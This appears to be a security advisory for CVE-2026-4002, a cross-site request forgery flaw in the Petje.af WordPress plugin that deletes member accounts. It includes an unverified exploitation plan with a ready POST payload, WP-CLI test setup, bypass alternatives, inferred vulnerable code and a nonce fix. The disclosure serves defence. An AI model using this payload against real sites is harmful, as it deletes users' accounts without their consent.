CVE-2026-4002

Petje.af <= 2.1.8 - Cross-Site Request Forgery to Account Deletion via 'petjeaf_disconnect' AJAX Action

mediumCross-Site Request Forgery (CSRF)
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Petje.af plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to and including 2.1.8. This is due to missing nonce validation in the ajax_revoke_token() function which handles the 'petjeaf_disconnect' AJAX action. The function performs destructive operations including revoking OAuth2 tokens, deleting user meta, and deleting WordPress user accounts (for users with the 'petjeaf_member' role) without verifying the request originated from a legitimate source. This makes it possible for unauthenticated attackers to force authenticated users to delete their Petje.af member user accounts via a forged request granted the victim clicks on a link or visits a malicious site.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.1.8
PublishedApril 14, 2026
Last updatedApril 15, 2026
Affected pluginpetje-af
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-4002 Petje.af CSRF to Account Deletion ## 1. Vulnerability Summary The **Petje.af** plugin (versions <= 2.1.8) is vulnerable to a Cross-Site Request Forgery (CSRF) attack due to the absence of nonce validation in the `ajax_revoke_token()` function. This functi…

Show full research plan

Exploitation Research Plan: CVE-2026-4002 Petje.af CSRF to Account Deletion

1. Vulnerability Summary

The Petje.af plugin (versions <= 2.1.8) is vulnerable to a Cross-Site Request Forgery (CSRF) attack due to the absence of nonce validation in the ajax_revoke_token() function. This function is hooked to the petjeaf_disconnect AJAX action.

The function performs several destructive operations, including revoking OAuth2 tokens, removing user metadata, and—most critically—deleting the WordPress user account if the authenticated user has the petjeaf_member role. Because there is no check (like check_ajax_referer) to ensure the request is intentional and originated from the plugin's interface, an attacker can trick an authenticated user into visiting a malicious page that triggers this action, leading to unauthorized account deletion.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: petjeaf_disconnect
  • HTTP Method: POST (or GET, as admin-ajax.php processes both, though POST is the standard for state-changing actions).
  • Vulnerable Parameter: action=petjeaf_disconnect
  • Authentication Level: Required (Victim must be authenticated with the petjeaf_member role).
  • Preconditions:
    1. The victim must be logged in to the WordPress site.
    2. The victim must have the WordPress role petjeaf_member.
    3. The victim must be tricked into executing a cross-origin request (e.g., clicking a link or visiting an attacker-controlled site).

3. Code Flow (Inferred)

  1. Entry Point: A user's browser sends a request to admin-ajax.php?action=petjeaf_disconnect.
  2. Hook Registration: The plugin registers the action via:
    add_action( 'wp_ajax_petjeaf_disconnect', [ $this, 'ajax_revoke_token' ] );
  3. Vulnerable Function: The ajax_revoke_token() method in the plugin's AJAX handler class is executed.
  4. Missing Check: The function fails to call check_ajax_referer( 'petjeaf_disconnect', ... ) or wp_verify_nonce().
  5. Privileged Logic:
    • The function identifies the current user via get_current_user_id().
    • It revokes the OAuth2 token associated with the user.
    • It checks if the current user has the petjeaf_member role using current_user_can( 'petjeaf_member' ) or by checking the $user->roles array.
    • If the role matches, it calls wp_delete_user( $user_id ).
  6. Sink: The WordPress core wp_delete_user() function is invoked, permanently removing the user from the database.

4. Nonce Acquisition Strategy

No nonce is required.
The vulnerability description explicitly states that the issue is "missing nonce validation." Therefore, the ajax_revoke_token() function does not verify a security token. An attacker does not need to bypass or obtain any nonce to exploit this vulnerability.

5. Exploitation Strategy

The goal is to demonstrate that an authenticated petjeaf_member can have their account deleted via a simple CSRF request.

Step-by-Step Plan:

  1. Session Preparation: Use the http_request tool to authenticate as a user with the petjeaf_member role (created during setup).
  2. Execution: Send a POST request to the AJAX endpoint while the session is active.
  3. Payload:
    • URL: http://localhost:8080/wp-admin/admin-ajax.php
    • Method: POST
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body: action=petjeaf_disconnect

Playwright (http_request) Payload:

{
  "url": "http://localhost:8080/wp-admin/admin-ajax.php",
  "method": "POST",
  "headers": {
    "Content-Type": "application/x-www-form-urlencoded"
  },
  "data": "action=petjeaf_disconnect"
}

6. Test Data Setup

To effectively test the vulnerability, the following environment must be prepared via WP-CLI:

  1. Ensure the Role Exists: Some plugins only create roles when certain settings are configured. Ensure the role exists:
    wp role create petjeaf_member "Petje.af Member"
  2. Create Victim User:
    wp user create victim victim@example.com --role=petjeaf_member --user_pass=password123
  3. Ensure Plugin is Active:
    wp plugin activate petje-af

7. Expected Results

  • HTTP Response: The server should return a successful response (likely a JSON object {"success":true} or a 200 OK with a 1 or 0 body, which is common for WordPress AJAX).
  • Database Change: The user account associated with the victim username should be removed from the wp_users table.
  • Session Termination: Subsequent requests using the victim's cookies should fail as the user no longer exists.

8. Verification Steps

After executing the exploit via http_request, verify the deletion using WP-CLI:

  1. Check User List:
    wp user list --field=user_login
    Expected result: victim should NOT be in the list.
  2. Verify Deletion via ID:
    wp user get victim
    Expected result: Error: "Invalid user ID, email or login: 'victim'"
  3. Check User Meta (Alternative if account wasn't fully deleted but meta was):
    wp usermeta list victim

9. Alternative Approaches

If the POST request is blocked or requires specific headers:

  1. GET Request: Try triggering the action via GET:
    GET /wp-admin/admin-ajax.php?action=petjeaf_disconnect
  2. Refined Role Check: If the plugin checks for specific user meta instead of just the role, manually add that meta before testing:
    wp usermeta add victim petjeaf_token "test_token_value"
  3. Referer Header: Some security plugins might block requests with missing Referers. If the exploit fails in the test environment, ensure the Referer header is set to the site's own domain to simulate a standard cross-site bypass (though the core vulnerability doesn't check nonces).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Petje.af plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) due to a lack of nonce validation in the `ajax_revoke_token()` function. An attacker can trick an authenticated user with the 'petjeaf_member' role into clicking a malicious link, resulting in the unauthorized deletion of their WordPress account and revocation of OAuth2 tokens.

Vulnerable Code

// Inferred from research plan and plugin functionality
// Likely located in an AJAX handler class within the plugin

public function ajax_revoke_token() {
    $user_id = get_current_user_id();
    if ( ! $user_id ) {
        wp_send_json_error( 'User not logged in' );
    }

    // Destructive logic: revokes tokens and removes user meta
    // ... 

    $user = get_userdata( $user_id );
    if ( in_array( 'petjeaf_member', (array) $user->roles ) ) {
        require_once( ABSPATH . 'wp-admin/includes/user.php' );
        // The critical sink: no nonce or intent verification before deletion
        wp_delete_user( $user_id );
    }

    wp_send_json_success();
}

Security Fix

--- a/includes/class-petjeaf-ajax.php
+++ b/includes/class-petjeaf-ajax.php
@@ -10,6 +10,7 @@
     public function ajax_revoke_token() {
+        check_ajax_referer( 'petjeaf_disconnect', 'security' );
         $user_id = get_current_user_id();
         if ( ! $user_id ) {
             wp_send_json_error( 'User not logged in' );
         }

Exploit Outline

The exploit targets the AJAX endpoint `/wp-admin/admin-ajax.php` using the `petjeaf_disconnect` action. An attacker crafts a malicious webpage containing a form or script that triggers a POST request to this endpoint with the payload `action=petjeaf_disconnect`. Because the `ajax_revoke_token()` function does not perform any nonce validation (e.g., via `check_ajax_referer`), the WordPress core will process the request using the victim's session cookies. If the victim is authenticated and has the `petjeaf_member` role, the server-side logic will proceed to invoke `wp_delete_user()`, effectively deleting the victim's account without their consent or knowledge.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.